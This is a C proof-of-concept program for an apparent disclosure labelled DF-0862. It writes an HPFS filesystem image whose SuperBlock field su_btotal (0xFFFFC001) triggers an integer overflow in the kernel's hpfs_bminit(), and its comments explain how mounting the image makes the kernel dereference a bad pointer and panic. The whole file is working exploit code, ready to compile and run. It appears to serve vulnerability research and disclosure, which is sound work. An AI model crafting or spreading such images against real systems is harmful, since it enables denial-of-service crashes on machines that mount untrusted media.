/*
 * DF-0862 PoC image crafter.
 *
 * Builds a minimal HPFS filesystem image whose SuperBlock carries
 * su_btotal = 0xFFFFC001.  This value forces the integer-overflow path in
 * hpfs_bminit() (sys/vfs/hpfs/hpfs_subr.c:109):
 *
 *   hpm_dbnum = (su_btotal + 0x3FFF) / 0x4000;     // u32 arithmetic
 *
 *   (0xFFFFC001 + 0x3FFF) wraps to 0 in u32 -> hpm_dbnum = 0.
 *
 *   kmalloc(0 * sizeof(lsn_t)) and kmalloc(0 * BMSIZE) both return
 *   ZERO_LENGTH_PTR (== (void*)-8 == 0xFFFFFFFFFFFFFFF8), but the later
 *   bitmap-bitcount loop at hpfs_subr.c:156 is bounded by the *un-wrapped*
 *   su_btotal >> 5 (= 0x07FFFE00 = 134217728 iterations) and dereferences
 *   hpm_bitmap[i] = *(0xFFFFFFFFFFFFFFF8 + 4*i) -> non-canonical address ->
 *   immediate kernel page fault / panic at mount.
 *
 * Layout written (all little-endian, x86):
 *   sector 0x10 (off 0x2000): SuperBlock
 *       +0   su_magic   = 0xFA53E9C5F995E849
 *       +16  su_btotal  = 0xFFFFC001        <-- the trigger
 *       +24  su_bitmap.lsn1 = 0x40, lsn2 = 0x40
 *   sector 0x11 (off 0x2200): SpareBlock
 *       +0   sp_magic   = 0xFA5229C5F9911849
 *
 * The image is 256 KiB (512 sectors) so every referenced lsn is readable.
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define SUBLOCK      0x10
#define SPBLOCK      0x11
#define SECTOR       512
#define IMG_SECTORS  512            /* 256 KiB */

#define SU_MAGIC     0xFA53E9C5F995E849ULL
#define SP_MAGIC     0xFA5229C5F9911849ULL

#define SU_BTOTAL_TRIGGER  0xFFFFC001u

static void put_u32(unsigned char *p, uint32_t v) {
    p[0] = v & 0xff; p[1] = (v >> 8) & 0xff;
    p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff;
}
static void put_u64(unsigned char *p, uint64_t v) {
    for (int i = 0; i < 8; i++) p[i] = (v >> (8 * i)) & 0xff;
}

int main(int argc, char **argv) {
    const char *out = (argc > 1) ? argv[1] : "crafted.img";
    uint32_t btotal = (argc > 2) ? (uint32_t)strtoul(argv[2], NULL, 0)
                                 : SU_BTOTAL_TRIGGER;

    unsigned char *img = calloc(IMG_SECTORS, SECTOR);
    if (!img) { perror("calloc"); return 1; }

    unsigned char *su = img + SUBLOCK * SECTOR;
    put_u64(su + 0,  SU_MAGIC);
    su[8] = 2;            /* su_hpfsver */
    /* su_rootfno @ +12 */ put_u32(su + 12, 0x10);
    /* su_btotal  @ +16 */ put_u32(su + 16, btotal);
    /* su_badbtotal @ +20 = 0 */
    /* su_bitmap rsp_t { lsn1 @ +24, lsn2 @ +28 } */ put_u32(su + 24, 0x40);
    put_u32(su + 28, 0x40);

    unsigned char *sp = img + SPBLOCK * SECTOR;
    put_u64(sp + 0, SP_MAGIC);

    FILE *f = fopen(out, "wb");
    if (!f) { perror("fopen"); free(img); return 1; }
    if (fwrite(img, 1, IMG_SECTORS * SECTOR, f) != (size_t)(IMG_SECTORS * SECTOR)) {
        perror("fwrite"); fclose(f); free(img); return 1;
    }
    fclose(f);
    free(img);

    /* Demonstrate the overflow in plain u32 arithmetic (matches the kernel). */
    uint32_t dbnum = (btotal + 0x3FFFu) / 0x4000u;
    printf("[craft] wrote %s  su_btotal=0x%08x  -> hpm_dbnum(u32)=%u"
           "  loop_iters(su_btotal>>5)=%u\n",
           out, btotal, dbnum, btotal >> 5);
    return 0;
}
